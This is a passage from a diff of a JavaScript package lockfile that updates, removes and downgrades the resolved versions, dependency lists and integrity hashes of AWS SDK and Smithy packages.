"@aws-sdk/client-kendra/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@aws-sdk/client-kendra/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/client-kendra/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
- "@aws-sdk/client-s3/@aws-sdk/core": ["@aws-sdk/core@3.973.18", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/xml-builder": "^3.972.10", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.972.18", "", { "dependencies": { "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-ini": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ZDJa2gd1xiPg/nBDGhUlat02O8obaDEnICBAVS8qieZ0+nDfaB0Z3ec6gjZj27OqFTjnB/Q5a0GwQwb7rMVViw=="],
-
- "@aws-sdk/client-s3/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-aHQZgztBFEpDU1BB00VWCIIm85JjGjQW1OG9+98BdmaOpguJvzmXBGbnAiYcciCd+IS4e9BEq664lhzGnWJHgQ=="],
-
- "@aws-sdk/client-s3/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-LXhiWlWb26txCU1vcI9PneESSeRp/RYY/McuM4SpdrimQR5NgwaPb4VJCadVeuGWgh6QmqZ6rAKSoL1ob16W6w=="],
-
- "@aws-sdk/client-s3/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-l2VQdcBcYLzIzykCHtXlbpiVCZ94/xniLIkAj0jpnpjY4xlgZx7f56Ypn+uV1y3gG0tNVytJqo3K9bfMFee7SQ=="],
-
- "@aws-sdk/client-s3/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.972.19", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@smithy/core": "^3.23.8", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-retry": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-Km90fcXt3W/iqujHzuM6IaDkYCj73gsYufcuWXApWdzoTy6KGk8fnchAjePMARU0xegIR3K4N3yIo1vy7OVe8A=="],
-
- "@aws-sdk/client-s3/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/config-resolver": "^4.4.10", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-/Ev/6AI8bvt4HAAptzSjThGUMjcWaX3GX8oERkB0F0F9x2dLSBdgFDiyrRz3i0u0ZFZFQ1b28is4QhyqXTUsVA=="],
-
- "@aws-sdk/client-s3/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
-
- "@aws-sdk/client-s3/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.996.4", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-endpoints": "^3.3.2", "tslib": "^2.6.2" } }, "sha512-Hek90FBmd4joCFj+Vc98KLJh73Zqj3s2W56gjAcTkrNLMDI5nIFkG9YpfcJiVI1YlE2Ne1uOQNe+IgQ/Vz2XRA=="],
-
- "@aws-sdk/client-s3/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-7SJVuvhKhMF/BkNS1n0QAJYgvEwYbK2QLKBrzDiwQGiTRU6Yf1f3nehTzm/l21xdAOtWSfp2uWSddPnP2ZtsVw=="],
-
- "@aws-sdk/client-s3/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.973.4", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/types": "^3.973.5", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-uqKeLqZ9D3nQjH7HGIERNXK9qnSpUK08l4MlJ5/NZqSSdeJsVANYp437EM9sEzwU28c2xfj2V6qlkqzsgtKs6Q=="],
-
- "@aws-sdk/client-s3/@smithy/config-resolver": ["@smithy/config-resolver@4.4.10", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-IRTkd6ps0ru+lTWnfnsbXzW80A8Od8p3pYiZnW98K2Hb20rqfsX7VTlfUwhrcOeSSy68Gn9WBofwPuw3e5CCsg=="],
-
- "@aws-sdk/client-s3/@smithy/core": ["@smithy/core@3.23.9", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.12", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ=="],
-
- "@aws-sdk/client-s3/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-3rEpo3G6f/nRS7fQDsZmxw/ius6rnlIpz4UX6FlALEzz8JoSxFmdBt0SZnthis+km7sQo6q5/3e+UJcuQivoXA=="],
-
- "@aws-sdk/client-s3/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XeNIA8tcP/GDWnnKkO7qEm/bg0B/bP9lvIXZBXcGZwZ+VYM8h8k9wuDvUODtdQ2Wcp2RcBkPTCSMmaniVHrMlA=="],
-
- "@aws-sdk/client-s3/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-fzbCh18rscBDTQSCrsp1fGcclLNF//nJyhjldsEl/5wCYmgpHblv5JSppQAyQI24lClsFT0wV06N1Porn0IsEw=="],
-
- "@aws-sdk/client-s3/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.13", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ=="],
-
- "@aws-sdk/client-s3/@smithy/hash-node": ["@smithy/hash-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-T+p1pNynRkydpdL015ruIoyPSRw9e/SQOWmSAMmmprfswMrd5Ow5igOWNVlvyVFZlxXqGmyH3NQwfwy8r5Jx0A=="],
-
- "@aws-sdk/client-s3/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-cGNMrgykRmddrNhYy1yBdrp5GwIgEkniS7k9O1VLB38yxQtlvrxpZtUVvo6T4cKpeZsriukBuuxfJcdZQc/f/g=="],
-
- "@aws-sdk/client-s3/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.11", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-UvIfKYAKhCzr4p6jFevPlKhQwyQwlJ6IeKLDhmV1PlYfcW3RL4ROjNEDtSik4NYMi9kDkH7eSwyTP3vNJ/u/Dw=="],
-
- "@aws-sdk/client-s3/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.23", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-serde": "^4.2.12", "@smithy/node-config-provider": "^4.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw=="],
-
- "@aws-sdk/client-s3/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.40", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/service-error-classification": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-YhEMakG1Ae57FajERdHNZ4ShOPIY7DsgV+ZoAxo/5BT0KIe+f6DDU2rtIymNNFIj22NJfeeI6LWIifrwM0f+rA=="],
-
- "@aws-sdk/client-s3/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="],
-
- "@aws-sdk/client-s3/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg=="],
-
- "@aws-sdk/client-s3/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="],
-
- "@aws-sdk/client-s3/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.14", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A=="],
-
- "@aws-sdk/client-s3/@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
-
- "@aws-sdk/client-s3/@smithy/smithy-client": ["@smithy/smithy-client@4.12.3", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-endpoint": "^4.4.23", "@smithy/middleware-stack": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw=="],
-
- "@aws-sdk/client-s3/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
-
- "@aws-sdk/client-s3/@smithy/url-parser": ["@smithy/url-parser@4.2.11", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing=="],
-
- "@aws-sdk/client-s3/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.39", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ui7/Ho/+VHqS7Km2wBw4/Ab4RktoiSshgcgpJzC4keFPs6tLJS4IQwbeahxQS3E/w98uq6E1mirCH/id9xIXeQ=="],
-
- "@aws-sdk/client-s3/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.42", "", { "dependencies": { "@smithy/config-resolver": "^4.4.10", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-QDA84CWNe8Akpj15ofLO+1N3Rfg8qa2K5uX0y6HnOp4AnRYRgWrKx/xzbYNbVF9ZsyJUYOfcoaN3y93wA/QJ2A=="],
-
- "@aws-sdk/client-s3/@smithy/util-endpoints": ["@smithy/util-endpoints@3.3.2", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-+4HFLpE5u29AbFlTdlKIT7jfOzZ8PDYZKTb3e+AgLz986OYwqTourQ5H+jg79/66DB69Un1+qKecLnkZdAsYcA=="],
-
- "@aws-sdk/client-s3/@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="],
-
- "@aws-sdk/client-s3/@smithy/util-retry": ["@smithy/util-retry@4.2.11", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XSZULmL5x6aCTTii59wJqKsY1l3eMIAomRAccW7Tzh9r8s7T/7rdo03oektuH5jeYRlJMPcNP92EuRDvk9aXbw=="],
-
- "@aws-sdk/client-s3/@smithy/util-stream": ["@smithy/util-stream@4.5.17", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ=="],
+ "@aws-sdk/client-s3/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
"@aws-sdk/client-sso/@aws-sdk/core": ["@aws-sdk/core@3.623.0", "", { "dependencies": { "@smithy/core": "^2.3.2", "@smithy/node-config-provider": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/signature-v4": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/util-middleware": "^3.0.3", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-8Toq3X6trX/67obSdh4K0MFQY4f132bEbr1i0YPDWk/O3KdBt12mLC/sW3aVRnlIs110XMuX9yrWWqJ8fDW10g=="],
@@ -5447,9 +5135,7 @@
"@aws-sdk/client-sso-oidc/@smithy/util-utf8": ["@smithy/util-utf8@3.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-rUeT12bxFnplYDe815GXbq/oixEGHfRFFtcTF3YdDi/JaENIM6aSYYLJydG83UNzLXeRI5K8abYd/8Sp/QM0kA=="],
- "@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-jqve46eYU1v7pZ5BM+fmkbq3DerkSluPr5EhvOcHxygxzD05ByDRppRwRPPpFrsFo5yDtCYLKu+kreHKVrvc7A=="],
-
- "@aws-sdk/crc64-nvme/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
"@aws-sdk/credential-provider-cognito-identity/@aws-sdk/types": ["@aws-sdk/types@3.609.0", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-+Tqnh9w0h2LcrUsdXyT1F8mNhXz+tVYBtP19LpeEGntmvHwa2XzvLUCWpoIAIVsHp5+HdB2X9Sn0KAtmbFXc2Q=="],
@@ -5479,23 +5165,33 @@
"@aws-sdk/credential-provider-ini/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@aws-sdk/credential-provider-login/@smithy/property-provider": ["@smithy/property-provider@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-jqve46eYU1v7pZ5BM+fmkbq3DerkSluPr5EhvOcHxygxzD05ByDRppRwRPPpFrsFo5yDtCYLKu+kreHKVrvc7A=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.972.20", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/types": "^3.973.6", "@smithy/property-provider": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-vI0QN96DFx3g9AunfOWF3CS4cMkqFiR/WM/FyP9QHr5rZ2dKPkYwP3tCgAOvGuu9CXI7dC1vU2FVUuZ+tfpNvQ=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.972.22", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/types": "^3.973.6", "@smithy/fetch-http-handler": "^5.3.15", "@smithy/node-http-handler": "^4.5.0", "@smithy/property-provider": "^4.2.12", "@smithy/protocol-http": "^5.3.12", "@smithy/smithy-client": "^4.12.6", "@smithy/types": "^4.13.1", "@smithy/util-stream": "^4.5.20", "tslib": "^2.6.2" } }, "sha512-aS/81smalpe7XDnuQfOq4LIPuaV2PRKU2aMTrHcqO5BD4HwO5kESOHNcec2AYfBtLtIDqgF6RXisgBnfK/jt0w=="],
+ "@aws-sdk/credential-provider-login/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.972.22", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/credential-provider-env": "^3.972.20", "@aws-sdk/credential-provider-http": "^3.972.22", "@aws-sdk/credential-provider-login": "^3.972.22", "@aws-sdk/credential-provider-process": "^3.972.20", "@aws-sdk/credential-provider-sso": "^3.972.22", "@aws-sdk/credential-provider-web-identity": "^3.972.22", "@aws-sdk/nested-clients": "^3.996.12", "@aws-sdk/types": "^3.973.6", "@smithy/credential-provider-imds": "^4.2.12", "@smithy/property-provider": "^4.2.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-rpF8fBT0LllMDp78s62aL2A/8MaccjyJ0ORzqu+ZADeECLSrrCWIeeXsuRam+pxiAMkI1uIyDZJmgLGdadkPXw=="],
+ "@aws-sdk/credential-provider-login/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.972.20", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/types": "^3.973.6", "@smithy/property-provider": "^4.2.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-QRfk7GbA4/HDRjhP3QYR6QBr/QKreVoOzvvlRHnOuGgYJkeoPgPY3LAI1kK1ZMgZ4hH9KiGp757/ntol+INAig=="],
+ "@aws-sdk/credential-provider-login/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.972.22", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/nested-clients": "^3.996.12", "@aws-sdk/token-providers": "3.1013.0", "@aws-sdk/types": "^3.973.6", "@smithy/property-provider": "^4.2.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-4vqlSaUbBj4aNPVKfB6yXuIQ2Z2mvLfIGba2OzzF6zUkN437/PGWsxBU2F8QPSFHti6seckvyCXidU3H+R8NvQ=="],
+ "@aws-sdk/credential-provider-login/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.972.22", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/nested-clients": "^3.996.12", "@aws-sdk/types": "^3.973.6", "@smithy/property-provider": "^4.2.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-/wN1CYg2rVLhW8/jLxMWacQrkpaynnL+4j/Z+e6X1PfoE6NiC0BeOw3i0JmtZrKun85wNV5GmspvuWJihfeeUw=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-N27eFoRrO6MeUNumtNHDW9WOiwfd59LPXPqDrIa3kWL/s+fOKFHb9xIcF++bAwtcZnAxKkgpDCUP+INNZskE+w=="],
- "@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.12", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.12", "@smithy/property-provider": "^4.2.12", "@smithy/types": "^4.13.1", "@smithy/url-parser": "^4.2.12", "tslib": "^2.6.2" } }, "sha512-cr2lR792vNZcYMriSIj+Um3x9KWrjcu98kn234xA6reOAFMmbRpQMOv8KPgEmLLtx3eldU6c5wALKFqNOhugmg=="],
